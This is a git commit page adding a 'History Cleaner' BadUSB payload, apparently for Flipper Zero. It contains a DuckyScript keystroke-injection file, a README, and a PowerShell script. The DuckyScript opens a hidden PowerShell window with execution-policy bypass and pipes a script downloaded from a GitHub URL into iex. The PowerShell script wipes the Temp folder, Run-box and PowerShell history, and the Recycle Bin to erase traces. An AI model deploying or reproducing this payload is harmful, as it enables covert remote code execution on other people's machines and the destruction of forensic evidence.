Add files via upload
This commit is contained in:
@@ -0,0 +1,19 @@
|
||||
REM Title: History Cleaner
|
||||
REM Author: @beigeworm
|
||||
REM Description: This script empties the temp folder and recycle bin, clear run box and powershell history
|
||||
REM Target: Windows 10
|
||||
|
||||
REM *SETUP*
|
||||
REM replace DISCORD_WEBHOOK_HERE with your Discord Webhook.
|
||||
|
||||
REM some setup for dukie script
|
||||
DEFAULT_DELAY 100
|
||||
|
||||
REM open powershell (remove "-W H" to show the window)
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell -NoP -Ep Bypass -W H -C irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Clean-History/main.ps1 | iex
|
||||
ENTER
|
||||
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
|
||||
<h2 align="center"> History Cleaner </h2>
|
||||
|
||||
SYNOPSIS
|
||||
Empty the temp folder and recycle bin, clear run box and powershell history.
|
||||
|
||||
USAGE
|
||||
1. Run the script
|
||||
|
||||
CREDIT
|
||||
this code was pulled from I-Am-Jakoby's recon script.
|
||||
|
||||
#>
|
||||
@@ -0,0 +1,15 @@
|
||||
# Delete contents of Temp folder
|
||||
|
||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# Delete run box history
|
||||
|
||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||
|
||||
# Delete powershell history
|
||||
|
||||
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||
|
||||
# Deletes contents of recycle bin
|
||||
|
||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||
Reference in New Issue
Block a user